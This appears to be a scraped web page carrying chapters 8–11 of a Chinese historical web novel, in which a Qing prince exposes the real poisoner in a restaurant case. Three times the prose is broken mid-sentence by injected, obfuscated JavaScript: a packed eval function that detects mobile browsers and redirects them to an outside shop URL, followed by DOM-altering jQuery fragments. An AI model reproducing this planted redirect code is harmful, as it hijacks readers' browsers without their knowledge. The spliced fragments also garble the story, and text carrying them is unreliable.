胤褆想通以后,只觉得浑身轻松,原本身体内残存的凝滞感也荡然无存。他双手叉腰,吩咐侍卫将噶尔汉、吴掌柜夫妇和喇克达送往官署。
酒楼外围着不少看热闹的百姓,见着几人被侍卫带出更是簇拥上前,三三两两议论纷纷。
胤褆几人站在窗边,目送侍卫离开,又见章泰摇摇晃晃走出酒楼,呆呆地伫立在门外,良久才调转方向往另一处而去。
胤褆收回目光,吩咐太监武声:“你与侍卫交代一声,到官府以后不要提起本皇子中毒之事。”
太监武声慢了拍,连忙应是。
皇太子胤礽闻言,绷紧脸:“不行,即便他们是误伤到你,也是犯了罪!怎么能轻易放过?”
“他们虽误伤到我,但非本意。”
“再说这对夫妇谋杀不成,也要定罪,又何苦因我的缘故,又被加重判罚。”胤褆没生气,只平静地解释。
伤害宗室与为子复仇伤人判刑,完全是两回事。前者判刑严苛,多为绞刑凌迟,后者则有事出之因伤人,又因受害者过错在前,多是能降等判刑。
“再者……两夫妇一心为善,多年来为流民施粥,与寺庙捐款。”胤褆说起李小二曾提及的事儿,终是轻叹一声:“这般的人,便让他们多活些时候罢。”
8. 第八章
室内寂静无声,半响皇太子胤礽才吐出一句话来:“妇人之仁!”
四皇子胤禛也站在胤礽这边,认为吴掌柜夫妇这般做了,也理应受到相应处罚才是。
倒是三皇子胤祉选择站在胤褆这边,直言身为受害者的胤褆愿意撤销,这事也理应到此为止。
“这样做乃是纵容犯罪!”
“怎么就纵容犯罪了?”胤祉闻言,登时不乐意了:“四弟你说得太过分了吧,时下不也是以民举官究为主,多是让百姓按乡规民约进行处理的嘛。”
“可是大哥刚刚昏迷,险些出事!”
“额,”胤祉声音一顿,回首瞧了眼胤褆后嘟嚷:“大哥现在也没事啊……”
“他明明就有事。”
“也没啥事……吧?”
“胤祉你在犹豫什么啊?直接否决,大哥我没事。”胤褆听着胤祉和胤禛的争吵,脑门上青筋都快爆出来了。
更无语的是,他这么一说胤祉和胤禛齐齐沉默,瞅着他的眼神古怪得很。
好好好好好,他知道他演技差。
胤褆心下忧愁,忍不住双手抱头,偏生又一次忘记伤口存在的他再次犯下同样的错误,手指又戳在那伤口上,疼得直抽气。
胤礽瞅着他,瞧到他又又又戳到伤口的蠢样,哼笑一声:“孤要将此事禀告于汗阿玛。”
“太子二弟?”胤褆听罢,连脑瓜子疼都顾不上了,急急看向他。
虽然他有了前身的记忆,但想到要亲眼见一见康熙帝……咳咳,胤褆心里还有些没底,他还想多做做心理准备,然后再去见上一见。
胤褆眼珠子一转,心生主意:“你怎么还和个小孩似的,有什么事就去汗阿玛跟前告状!幼稚不幼稚!”
“……”胤礽脚步一顿,面无表情地瞅了眼胤褆。正当胤褆自以为胜券在握的时候,胤礽抬步继续往楼下走:“嗯,你说的没错,比起大哥来孤就是个小孩,孤回去就禀告于汗阿玛。”
不是!你怎么还承认了?!
胤褆这下是真的傻了眼,心里是说不出的滋味,见着胤礽头也不回地往楼下走,他连连小跑尾随跟上,好说歹说试图让胤礽回心转意:“太子二弟,你怎么会是小孩儿呢?”
“你才智卓越,文武双全。”
“上回汗阿玛教你与礼部官员辩论,你把他们说得哑口无言——嗐。”
“常人在你这个岁数的时候,都还在私塾里苦读诗书,能得个秀才的都已是名冠乡里的天才呢!”
“还有上回,你把蒙古来的那几个小子一口气全撂倒在地,都没给我上场的机会。”
胤褆脑海里翻滚着无数记忆,前身对胤礽非常关注,以至于关于胤礽的记忆远比对其他人要来得多,就连康熙帝和惠妃也比不上,嘴巴随便一骨碌,就说出一大串来。
“最可恶的是——”
“你明明那么厉害,还总是一副波澜不惊,云淡风轻的架势,仿佛你做的事只是所有人都能做到的平凡事。”
这点可是把前身气得不轻,铆足了劲要追上他,结果还因为过度劳累而病倒,反倒是被康熙帝训斥一通,教他羞得不愿去上书房,还是被太监连哄带劝送去的。
“真是的——”胤褆想到这里,忍不住叹气,他追在胤礽的身后抱怨:“你这样还算小孩儿的话,我岂不是得回娘——额。”
胤褆抬起头,对上几张陌生又熟悉的脸孔后声音戛然而止。
“麻勒吉大人。”
“奴才给皇太子殿下请安,给大皇子、三皇子,四皇子请安。”守在酒楼外的正是九门提督步军统领麻勒吉,他神色平静,一本正经地请安问好。
要不是他身后的兵卒没忍住,偷偷瞥了胤褆好几眼,胤褆还真被他那正经的模样糊弄住,以为他什么都没听见呢。
胤褆尴尬得很,脚趾都缩成一团了。
胤礽抬了抬手,唤一干人起身,他板着脸没搭理胤褆,接着往马车走去。他脚步走得飞快,以至于只有麻勒吉和少数几人见着胤礽通红的耳垂。
步军统领麻勒吉:…………
还未等他想好大皇子和太子殿下是演哪一出戏呢,这边胤褆未追上前,而是走至麻勒吉身边:“麻勒吉大人。”
“奴才在。”步军统领麻勒吉猛地醒过神来,他恭恭敬敬地应了声是,又不着痕迹地打量着胤褆:“大皇子殿下有何吩咐?”
胤褆笑了笑:“还要劳烦麻勒吉大人,关于……”
那边,皇太子胤礽走上马车,他倚靠在窗边,正好看到这一幕,只见胤褆与麻勒吉正说着话,两者神色严肃,尤其是麻勒吉更是连连点头,当即招呼人来吩咐几句。
“大哥偷偷摸摸说什么呢?”随后坐下的三皇子胤祉也注意到这一景象,凑在窗边嘀嘀咕咕。
“不会又是为了吴掌柜之事吧?”四皇子胤禛瞧了眼,转身又往马车下走,大有要继续与胤褆说说理的架势。
不过他还没下车,胤褆便与步军统领麻勒吉说完了话,转身也往马车走来。他顺手拦住走出来的胤禛,把他送回位置上,又自己选了个位坐下:“走罢。”
胤礽倚在窗边,瞧着麻勒吉唤来几名侍卫兵卒,也不知吩咐了什么,就见他们四散开去。
随着马车驶远了些,胤礽也收回目光。他看向拉开角柜的胤褆,心思一转:“你寻麻勒吉是做什么?可是那章泰也有问题?”
胤褆动作一停,顿了顿又将角柜里的食盒、茶壶和茶盏取出来:“不愧是太子二弟,果然已经察觉到了。”
顺口诈一下的胤礽:……
他一听胤褆这般夸赞他,哪好意思说出自己只是诈一下,嗯嗯啊啊的应声,想着如何教胤褆继续往下说。
还好不用他出手,旁边的三皇子胤祉和四皇子胤禛率先忍不住了。胤祉身体前扑,睁得圆溜溜的眼儿注视着胤褆:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623634|143509||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大哥大哥,您教麻勒吉做了什么?”
“瓮中抓鳖又是怎么回事?”
“这个嘛——”胤褆拉长声音,有意卖关子。胤祉和胤禛相视一眼,一个伸手抢过茶壶茶盏,一个伸手接过食盒:“大哥大哥,我给您倒茶!”
“大哥!这个蜜枣酥很好吃哦!”
“大哥,您就别逗弄他们了。”胤礽摆出一副由胤褆做主的架势,实际上却是竖起耳朵,准备听听胤褆的话。
胤褆尚在享受着弟弟们的‘服侍’,毕竟自打苏醒以后他就一刻不停的说着话,刚刚又得提防酒楼其余食物也有问题,愣是连茶盏都不敢碰。
直到咬了口松脆香甜的蜜枣酥,又喝了口凉茶润润喉,胤褆才觉得他活过来了。
胤褆眉眼舒展,心情大好,也不打算卖关子了:“先头我发现章泰鞋底有些新鲜的黄泥。”
“黄泥?”
“没错,我就教武声带人去寻上一寻,想要瞧瞧章泰他去过哪里。”
“听大哥的话,应当不是茅房?”
“难不成是他去了后头的蔬果园子?然后偷偷在菜里下毒?”三皇子胤祉想了想,回答道。
“孤觉得不是。”胤礽否决他的猜测,解释道:“黄泥无甚肥力,通常从别处移来多是为了修建房屋……嗯?大哥,难道这家酒楼最近改建过?又或是哪里修缮过?”
“没错!”胤褆闻言,笑着回答:“武声询问了些与此事无关的伙计,很快就有人表示两天前京城突降暴雨,加上灶房外头的天井年久失修,导致墙壁开裂,砖瓦碎裂,落下时还险些砸到人。”
“吴掌柜便请匠人来修缮,据对方说他们早上才刚刚把黄泥和砖瓦片送到酒楼,尚未开始修缮工作。”
“武声寻到搁置黄泥和砖瓦片的地方,发现那边的黄泥曾被人动过,从周遭还发现了几片被丢弃到远处废弃砖瓦内的新瓦片,上面虽被人擦拭过,但还留下不少痕迹。”
“我想章泰应当并不知道这件事,为了营造不在场证据的他时间有限,因此只能稍加处理现场,才留下这么多的痕迹。”
“大哥!既然如此,为什么要放那人走!?”四皇子胤禛闻言,急得直跳脚。他顾不得马车还在行驶,便要叫停车子,赶紧使人去逮捕章泰。
“哎哎哎,等等!”胤褆忙伸手拉住急性子的胤禛,“你着什么急呢,我都教人准备周全了。”
就在此刻,马车缓缓停下。
胤礽从对话中抽出神来,抬眸往外看去,只见马车压根没回宫,而是转了个圈,又一次汇入人潮,最后停在酒楼的另一侧巷口。
“教我看看,他还有多久会来。”
“不是吧?他刚刚犯下案子,还能马上回来?不能等到晚间时候再来吗?”胤祉瞪圆了眼,虽然嘴巴上不相信章泰会返回来,但身体力行地凑在窗边,顺着纱帘的缝隙偷偷往外看:“真的假的?那也太猖……傻了吧!”
9. 第九章
随着官吏兵卒的呵斥声,围在酒楼四周看热闹的百姓们很快四散而开,只留下没了人迹,暗了烛火,唯有悬在檐角下的长灯笼还在随风轻轻晃动,远远瞧着,煞是寂寞。
“可惜了……”
“嗐,这都是命呐……”
“好端端的,怎么就变成这样了……”
“可惜吴掌柜了,多好的人呐……”
风里依稀流淌着百姓的叹息声,可大部分人遗憾感慨几句后,又迅速将这事抛到脑后,忙碌起手头的事儿来,更没人注意身侧闪过的身影。
穿着一身灰褐色衣衫的男人拉了拉头顶的斗笠,低垂着头,迅速穿过人群。
他转进酒楼旁的小巷里,躲在门坊后注意四周。待周遭彻底安静下来以后,男人一脚踩上堆叠在地上的砖瓦,双手抓着两侧藤蔓轻盈蹬上围墙,动作行云流水,利索果断,如黑色的燕子般轻盈翻入酒楼。
他对酒楼的格局非常熟悉,直直来到灶房后头,只伸手往里一拨便打开窗户钻了进去。男人扫视一圈,并未停留,而是一路飞奔至二楼包厢,推门而入后立马看向博古架。
确定博古架上的器皿摆得整整齐齐,并未有人触碰过,男人长舒了口气。他放下心来,伸手拿起其中一只官窑雪花蓝盖罐来。
他一手抱着瓷器,一手掀开罐盖,往里瞅了眼,脸上登时露出喜色来。他急忙把罐盖搁博古架上,迫不及待地伸手进去,取出一本不大的册子来。
“呼……果然在这。”
“什么东西在这里?”
“当然是——”章泰嘴角噙着笑,下意识想要作答。只是他话说出口,身体便像是被浇了盆冰水般僵在原处,半响才挤出个鼻音来:“……嗬!”
章泰的手指轻轻抽动,册子从他的掌心滑落,随即落入另一只大手里。
侍卫高远微弯着腰,稳稳接住册子,随即双手送到胤褆手里。胤褆漫不经心地接过,目光还依然停留在对方身上:“原来还有这么个东西?章泰。”
“你,你们……”章泰呢喃。
“真被大哥说中了,他还真来了!”说话的是三皇子胤祉,他跟着皇太子胤礽从门后走了出来,好奇地上下打量这名笨贼。
“你,你们怎么会……”章泰的脸僵硬无比,抽动着挤出话语来。
“你是问我们为什么会出现吗?”胤祉瞅着不可置信的章泰,全身心沉浸在傻贼上当的愉悦中:“本皇子可以告诉你哦~”
胤祉快乐的眯了眯眼,兴奋道:“是大哥!大哥怀疑你会出现,因此带着我们一直守在外头。”
??????
怀疑他会出现?一直守在外面?
章泰完全没想到会得到这般的答案,他猛地往后退了一步,身体重重撞在博古架上,发出剧烈的碰撞声。
摆在上头的奢华器皿轻轻晃动,摇摇欲坠,高远与几名侍卫动作利索,一手一个,稳稳接住落下的瓷器,仔细检查里头,确定没有册子等物后才重新搁回架子上。
章泰的心脏胡乱狂跳着,脸色更是惨白如纸。他努力按捺住内心不安,身体往下滑去,噗通一下跪倒在地:“奴才,奴才只是想借此机会,把噶尔汉用来威胁奴才的东西拿走……”
“只是如此?”
“就,就只是如此!”
胤褆却是不信,慢条斯理说起章泰的作案过程:“你离开包间以后,并未前往茅厕,而是从包厢前面绕去灶房。”
“大皇子您说什么啊……”章泰背后被冷汗润湿,他舔舐着格外干燥的嘴唇,努力反驳着:“喇克达给我,给我作证了,我当时,我当时就是去了茅厕!”
“是吗?不对吧。”胤褆背着手,黑沉沉的眼眸平静地注视章泰:“他只是看到你从后院小路通过,只是你的话语误导了他,让他以为你前去茅厕。”
章泰喉结滚动,一时失语。
胤褆瞥了眼他,继续往下说道:“想必同样经历过催债的你,清楚明白喇克达面对的绝境,更清楚明白时下已是他最后的机会,又或者说本就是你怂恿他升起偷钱的心思,暗示他你可以成为他的不在场证人。”
章泰对视上胤褆的双眼,身体不自觉地微微颤抖。
胤褆将他的反应尽数纳入眼中,沉声道:“你从喇克达口中得知酒楼安排的菜品……不,或许这也是你安排的。”
“你按之前预演的那般潜入灶房,将准备好的毒药放入带有黄裙竹荪的汤里,而后又翻窗而出,顺着你预先看好的道路离开酒楼,再次从后门进入。”
“一切都是如此顺利。”
“按照你想法制作餐食的吴掌柜,按照你想法选择偷窃的喇克达……”胤褆看着章泰略显扭曲的表情,话锋一转:“唯一出乎你意料的是酒楼前两日墙体破裂,瓦片翻落,而吴掌柜更是刚刚寻了人来修造房屋。”
“你完全没有提防,跳出围墙时重重踩在黄泥和砖瓦上,你的鞋履沾上黄泥不说,就连砖瓦都被你踩破了几片,你只好尽可能处理干净,以免案子复核时被官吏发现问题。”
章泰面上血色尽褪,惊恐地抬眸看向胤褆,眼前人的眼眸黑得惊人,仿佛像是跟在自己身后,把他的所作所为都看在眼里。
章泰不由自主地呼吸急促,神色难看至极。他强撑着最后的力气,咬牙不肯承认:“大皇子殿下,吴掌柜已经承认是他下毒了。”
“我,我根本没有,下毒。”
“而且刚刚御医也查过了,汤里根本没有别的毒药!唯一有问题的便是那黄裙竹荪!!”章泰气急败坏,扯着嗓门大声怒吼。
“别急啊。”胤褆垂眸瞧了眼章泰,轻声道:“汤里的确没有放别的毒药,唯一有问题的是黄裙竹荪。”
“那不就——”
“不过黄裙竹荪切得很细致呢,混在黄花菜里完全看不出区别。”胤褆盯着他,补上一句话。
章泰的呼吸一滞,身体轻颤。
旁边的胤祉对黄花菜并不陌生,闻言有些摸不着头脑:“黄花菜?那不是常吃的菜品吗?这有,这有什么问题?”
“…………”皇太子胤礽和四皇子胤禛也面露迷茫,齐齐看向胤褆。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623635|143509||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
胤褆沉默一瞬,道:“新鲜黄花菜有毒,需要焯水、炒熟或者风干后才能炖煮食用——”
他对上胤礽几人好奇的视线,又干巴巴地补充道:“我也是无意间听人说起的。”
“若是食用新鲜黄花菜,会引发恶心、呕吐、腹泻、昏迷乃至死亡,最奇妙的是它的反应乍一看与竹荪极为相似,几乎如出一辙。”
“吴掌柜品性颇佳,又与噶尔汉有着深仇大恨,当官吏发现汤汁有问题时,他自然会承认自己下毒之事,避免牵连到别的帮厨伙计。”
“而你还完了欠债,又有不在场证人,更与下毒之事无关,轻轻松松便脱罪与此事。”
“证据?证据呢?”
“证据啊——”胤褆喟叹一声,盯着尚不愿意死心的章泰:“你知道吗?吴掌柜为了避免牵累到别人,因此这道理应放黄花菜的汤品里,他放的全是切成细条,宛如黄花菜的黄裙竹荪,没有放一根黄花菜。”
“什么!?”
“而你的手指,因着用力捏抓染上了黄花菜的花粉,恐怕你当时穿的衣衫内里也有吧?”
“你回去换了衣衫又来此地,这些时间还来不及处理所有痕迹。”
章泰脑袋嗡的一声,就如大皇子所说,他心下焦急得很,回到家换了衣服又匆匆而出,想要第一时间拿走东西。
他屏住呼吸,看向手指,颤巍巍的手指上染着一抹淡黄色——他前面从未看到过,此刻却觉得刺眼无比。
“可恶……”
“吴掌柜是白痴吗?嫁祸给别人不好吗?居然多做这种事情!”
“可恶可恶可恶可恶……”章泰浑身无力,瘫坐在地上,他不断不断重复着话语,到时下依然想不通:“为什么,为什么你们会守在这里?”
“……可恶,这是为什么?我明明,我明明想得万无一失的!!!”章泰发出不甘的咆哮,双手重重砸在地上。
“你不懂吗?”胤褆瞧了眼章泰那惨白的脸庞,不由地笑出声来:“若是你有任何要做的事都必须赶在夜禁之前,又亦或是等风头过去以后。”
时下夜禁严格,尤其京城更是森严,不但内城各处设有栅栏和堆拨来维持治安、缉捕盗贼以及防范火灾,而且还有执勤的八旗和绿营兵卒轮流巡视。
待到夜晚,想要穿越数道关卡来到酒楼,那是绝无可能得事儿。
章泰张了张嘴,却是没说话。
旁边的胤祉瞧着他的脸色,追在后头说道:“你想问那还有个可能,等这件事过去以后再来……对吗?”
章泰没说话,双眼直直盯着胤褆。
胤褆瞥了他一眼,忽然道:“你为什么会选择这个时候来?”
“我——”章泰愣了愣,下意识开口,只是说出第一字以后他便醒过神来,瞳孔微微颤抖。
“因为本皇子曾说过,噶尔汉的案子不符合司法审核流程,整桩案子未上报至按察司乃至刑部就擅自处理。”
“所以你相信,这桩案子会交由刑部各处复核,而你要赶在之前把会暴露你的秘密全数销毁!”
10. 第十章
章泰麻木地跪在地上,很是颓然,他不得不承认胤褆说的全中,他担心官署会严格审查此案,因此选择第一时间来拿走物件,销毁痕迹。
他相信了,他相信了……
章泰的双手无力落在身侧,仰着头不知看向何方,泪水在脸上纵横交错,嘴里呢喃重复着:“我怎么就……相信了呢?”
步军统领麻勒吉走上前,使着几名侍卫兵卒将章泰押走。
章泰浑浑噩噩,没有任何动作。
三皇子胤祉听着他呢喃的话语,忍不住点点头,他也奇怪呢,怎么就这么笨,这么轻易就上钩了:“换我肯定不会。”
“这也说不定。”胤褆看了眼尚在翻看完手上册子的胤礽,眼眸黑沉了许:“或许他也曾希望官府能查出那些案子,这才下意识相信了吧。”
胤祉愣了愣:“咦?”
至于四皇子胤禛的反应更快,挪到胤礽身边,他踮起脚尖,探头看向册子。
一行行字迹映入胤禛的眼里,让他忍不住睁大双眼:“这是——!?”
刚刚众人还在奇怪噶尔汉身为个普通旗人,怎能有这般多的银钱,待看完册子才晓得其中事。
册子里密密麻麻的记录,皆是各种尚未还清的欠债记录,里面还夹着厚厚一摞欠条——原来被逮捕的噶尔汉竟是个专做放贷生意的。
“他不是说他已经还完了吗?”胤祉记得先前询问时章泰曾提及欠债的事,还肯定的表示自己早已还完欠债。
“不,这里又有欠债的记录。”胤礽整理着一摞欠条,很快从中翻出几张来,汇总在一起的数字更是让人瞠目结舌。
明明说自己已还完欠款的章泰,竟是又一次欠下债务,还是近万两的高额巨债。
章泰颓然的低着头:“噶尔汉不止做放贷生意,私底下还在做赌场生意……”
“几年前我曾输掉一回,而后欠下三千两的债务……是奴才福晋拿出嫁妆替奴才还完了欠债。”
“奴才,奴才没再去赌了。”
“可那日喝了酒,噶尔汉又带我和喇克达一道去赌场转一转……我忍不住,我一下子忍不住……等回过神的时候又欠下了三千两……”
“我把这几年赚的钱都给他了……可别说还清钱,噶尔汉还和我说这点钱还利息都不够。”
“我问他,还差多少。”
“哈……他和我说还差他九千两……”章泰背对着众人,有气无力道:“他说,只要我愿意替他办事,剩余的债务便不再累计利息。”
“就是类似撞倒吴掌柜,他再去做好人的事?”胤褆闻言,打断章泰的话语。
“没错。”章泰点了点头,声音渐渐轻松下来:“奴才也算是为百姓做件好事,为民除害。”
胤祉喃喃:“为民除害……”
胤褆闻言,瞅了眼面露同情的胤祉,又抬眸看向再次跟随侍卫往外走的章泰:“你有没有想过,你这般下毒,你的好友喇克达也有可能中毒?也有可能丢了一条性命?”
胤祉微微一愣,忽然想起两者叠加以后毒性,要比单用一种食材来得更加迅猛。
即便喇克达并没有瘾疹,也大概率会引发呕吐腹泻等胃肠道症状,最后会是个什么结局,谁也不清楚。
至于胤褆比他们想得更深,在这个医疗水平落后,救治方法稀少,一场感冒也能夺走无数人生命的时代,即便喇克达没有像前身一般丢掉一条性命,也会重病一场,元气大伤。
章泰背影僵住,沉默不语。
胤褆见状,嗤笑了声:“别给你脸上贴金了,你有无数次可以报官的机会,最后却选择杀人灭口。”
“真的是因为欠债,还是说……你想要发财?你看上了噶尔汉的发财路,想要代替他继续做这事?”
饶是皇太子胤礽也被胤褆的猜测吓了一跳,偏偏看到僵着身体,一言不发的章泰时,隐隐觉得胤褆正戳中对方的痛点。
胤褆摇摇头:“章泰啊章泰,你就是个彻头彻尾的赌徒,只不过这回你赌输的是你的性命。”
“噶尔汉又没有死……”章泰喃喃。
“啊。”胤褆看着章泰,右手握拳敲在左手心里:“本皇子一直都没有说,噶尔汉没中毒,中毒的是本皇子。”
章泰的脸庞瞬间扭曲了,他先是不可置信地看向其余人,在得到肯定答案以后他的双眼睁大到至极,喉咙里发出嗬嗬的怪声。
“不是,不是——”
“我没下毒,我没下毒!!!”
“下毒的不是我——是吴掌柜啊!”
“我是无辜的——”
“我什么都没有做——我没有做啊啊啊!”
几名侍卫将他往门外拖去,章泰的嘶吼声渐渐变轻,却久久没有消散。
瞬间,胤祉把那些同情的思绪全丢了出去,忍不住咽了下口水。
就如胤褆所说的一般,章泰可以选择报官举报置办赌场,放高利贷的噶尔汉,再不济也可以管住自己不与噶尔汉来往,更可以让自己不再赌博,而不是选择毒杀噶尔汉,并把罪名推给他人,美美躲在后面得利。
偏偏他一而再,再而三往火坑里走,最后落得个连命也赌掉的结局。
等上车返回紫禁城时胤祉还是忍不住,拉着胤禛在旁边嘀嘀咕咕。他还是头回见到这般的案子,精神抖擞,觉得说上十遍八遍都不腻味。
而胤禛乖乖坐好,一边听着三哥的念叨,一边侧首看向发呆的胤褆,先前的疑问又浮现在脑海里。
大哥,怎么突然变得这么强?
难不成是以前一直在假装!?
同时想到这点的还有皇太子胤礽,他瞥了眼胤褆,又想起他刚才对着自己碎碎念的那些话,眼眸微深。
至于胤褆,他处理完案子便觉得精神不济,脑袋和肚子纷纷抽痛起来。他听着胤祉叽叽喳喳的说话声,倚在窗边蹙着眉梢,强忍着翻涌,只觉得头晕目眩得厉害。
胤祉手舞足蹈,说得起劲。
直到马车驶入紫禁城并在阿哥所外停下,胤祉才意犹未尽地停住话头,转而看向胤褆:“大哥,今天我能不能到你那边去用膳啊?我还想再聊聊这起案子……大哥?”
皇太子胤礽也察觉到一丝不对,坐起身伸手推动胤褆:“胤褆……大哥?”
入手,是滚烫的温度。
胤礽神色一凝,猛地扯开门帘:“来人——快传御医!!!”
---
大皇子发热了!
大皇子呕吐了!
阿哥所里,刹那间兵荒马乱。
被人搀扶进屋的胤褆先是腹痛难忍,而后上吐下泻,直至连草绿色的胆汁都吐了出来,这可把以为胤褆无事的胤礽等人吓得够呛。
等胤礽晕头转向的忙碌一通后,又想起还未教人把这事禀告给康熙帝。他一拍脑门,连连唤人,赶紧将此事禀告于汗阿玛。
“也不是什么大事……”胤褆闻言,想着要见到康熙帝就有点发虚。他有意劝阻,却是被胤礽喝止,顺带就感觉不舒服却不说话,还梗着脖子破案的问题进行大肆批判。
三皇子胤祉和四皇子胤禛也被吓得够呛,闻言非但没有帮胤褆说话,而且统统站在胤礽那边,对胤褆的行为进行批判。
胤褆蔫巴巴的,垂着脑袋听话,以至于没注意到太监武声等人的异常反应。
“……总而言之,大哥您得先照顾好自己的身体,再
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623636|143509||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
考虑别的。”
“是是是,我知道了……太子二弟你说了这么久要不要先喝口茶?还有点心哦?”
“孤都被你气饱了!!!”
“…………”走到寝殿门口,却是听到这么一番对话的康熙帝愣了愣,他脚步一顿,抬头往上瞧了眼。
太阳要落不落的悬挂在屋檐顶上,正正好好是西面,没出任何问题呢。
康熙帝心里疑惑,倒是跟在后头的惠妃心急如焚,见状催促道:“皇上,快进去罢。”
两者这才再次往里走。
等看到靠在床榻上脸色青白,蔫蔫巴巴的胤褆时,惠妃终是忍不住情绪,眼泪夺眶而出。她把礼节规矩全抛到脑后,疾步上前将儿子拥入怀里:“胤褆!”
“……额娘。”胤褆甚至还没来得及看清来人,就被拥入一个温暖的怀抱中。
他原是孤儿院出身,完全没有体会过所谓的亲情,一时间甚至不知道应当做何反应,更是忘了他担忧紧张不知如何面对的康熙帝就跟在眼前。
胤褆感受着温暖的怀抱,鼻尖缭绕着柔和的香味,他迟疑再迟疑,终是伸出手抱住惠妃,干巴巴地安慰着:“我没事,没事,额娘不哭。”
惠妃愣了愣神,眼眶泛红。
她入宫多年,膝下只有占了皇长子名分的胤褆一子,起初惠妃也曾喜悦得意过,浮想翩翩过,后头却是越发惶恐担忧。
为了保住胤褆,康熙帝将其送出宫时惠妃也从无怨言,待胤褆回宫以后更是把一腔慈母心全用在他的身上,说是捧在手里怕摔着,含在嘴里怕化了都不为过。
只是……或许因着宫外居住数年的经历,又或是回宫以后落差太大的感受,胤褆的目光总是落在康熙帝和皇太子胤礽身上,对她这个生母显得颇为冷淡。
惠妃总想着,时间长了就好,又或是等儿子有了子女就懂得她的心。
只是……也不知道要等到何时。
直到当下,惠妃才觉得一股委屈从心底席卷上来。她抽了抽鼻子,仰头止住直往外涌的泪水,反手紧紧抱住胤褆:“……没事就好,没事就好。”
康熙帝原是有着许多事要询问,瞧着母子两人抱成一团,念着胤褆又是发热,又是上吐下泻,吃了好大一番苦头上倒是没出声,而是教其余人与他出了内室,到外头再询问胤褆的病况。
“大皇子殿下摄入了些许毒物,这番剧烈呕吐对殿下来说还是件好事。”御医脸上带着庆幸,恭声答道:“后续只需温养数日,服上几幅汤药,想来半月时间便能恢复康健。”
“胤褆摄入毒物!?这又是怎么回事?”康熙帝双眼圆睁,惊怒交加。
早上出门的时候,胤褆还活蹦乱跳的,等回来以后就变成这病恹恹的样子,饶是谁都受不了,更何况是康熙帝。
他瞥了眼与胤褆一道出门的皇太子胤礽,心中暗暗怀疑对方目标会不会是太子,而胤褆只是惨遭牵连。
“梁九功。”
“奴才在。”
“立刻传朕口谕,着刑部、都察院、大理寺、步军统领衙门,令四部共同合作办案,三日内将此案彻查清楚。”
康熙帝沉凝了面容,冷到直让人心头颤颤,再是没眼色的人也不敢多问一句三天查不清会有如何的后果,更何况是梁九功这般的人精。
梁九功垂首竖手:“喳。”
四皇子胤禛见状,举起小手:“等等!汗阿玛,大哥已经把这事都查完了,连真凶都已被步军统领衙门的人带走了。”
“就是就是。”三皇子胤祉忙附和。
“……哦?”康熙帝微微一愣,眉眼间的戾气消散些许,惊诧地看向胤礽:“这事已经查出来了?真的假的?”
11.第十一章
一听到康熙帝怀疑胤褆,三皇子胤祉登时不乐,也侧首往胤礽那边看去,努力使着眼色。
胤礽被三弟的反应逗乐,抿着嘴强忍住笑意,他认认真真点了点头:“汗阿玛,这事的确如三弟四弟所说,大哥很厉害,几乎凭借一人之力便破了案子。”
康熙帝见胤礽也持有高度评价,收了怀疑的同时也是真来了兴趣,抬手示意胤礽三人将这事从头到尾说一遍。
“这桩案子,还要从……”其实说起胤褆处理这桩案子的事情,胤礽也是颇为惊奇。
毕竟在今日以前,他从未想过胤褆会有这般的一面。胤礽款款将事情道来,同时脑海里思绪翩翩,忍不住回想起彼此的初见。
胤礽和胤褆的初见并不愉快,甚至算得上糟糕。一个忽然得知他还有个养育在宫外的兄长,一个忽然发现他被送出宫数年,而弟弟却能待在宫里长大。
两者截然不同的境遇与陌生,让两人下意识排斥对方,光是熟悉彼此便耗费不少时间,而没等两人关系好转多久,他们又到了进上书房读书的年纪。
刚开始拥有对手的胤礽是快乐的,他没有辜负康熙帝的期待,亦步亦趋变成康熙帝期待的模样,同时也稳稳将胤褆压在身下,最喜欢看到胤褆输掉时努力憋着眼泪,嚷嚷着下次定然会胜过你时的不甘。
直到两人岁数渐长,随着汗阿玛的偏爱越发清晰、满汉师傅的赞赏与宗室官吏的吹捧也越发,所有人都在盛赞他当得起储君之名,所有人围聚在他的身边,更有意无意地忽略胤褆的存在,更有甚者开始在背后嘲笑胤褆的‘不自量力’,说他应当早早放弃才是。
胤礽闻言,有些生气,同时也很得意,他知道他的兄弟才不像眼前人那般无趣,而是会鼓足勇气,攀山越岭地冲上来,再和自己比较一次,即便撞得头破血流也不会后退。
而他,也在期待着。
胤礽期待着,期待着……然后发现事情的变化脱离了他的预想,胤褆的确再次冲上前来,只是他的眼里多了点别的什么。
那是更加尖锐的,敌对的,甚至说是憎恨的——
胤礽的思绪戛然而止,他闭了闭眼,把那些个不断翻滚涌动并试图浮上前来的记忆抛到脑海,再次回想起胤褆面对犯人时目光明亮,言之灼灼的神色。
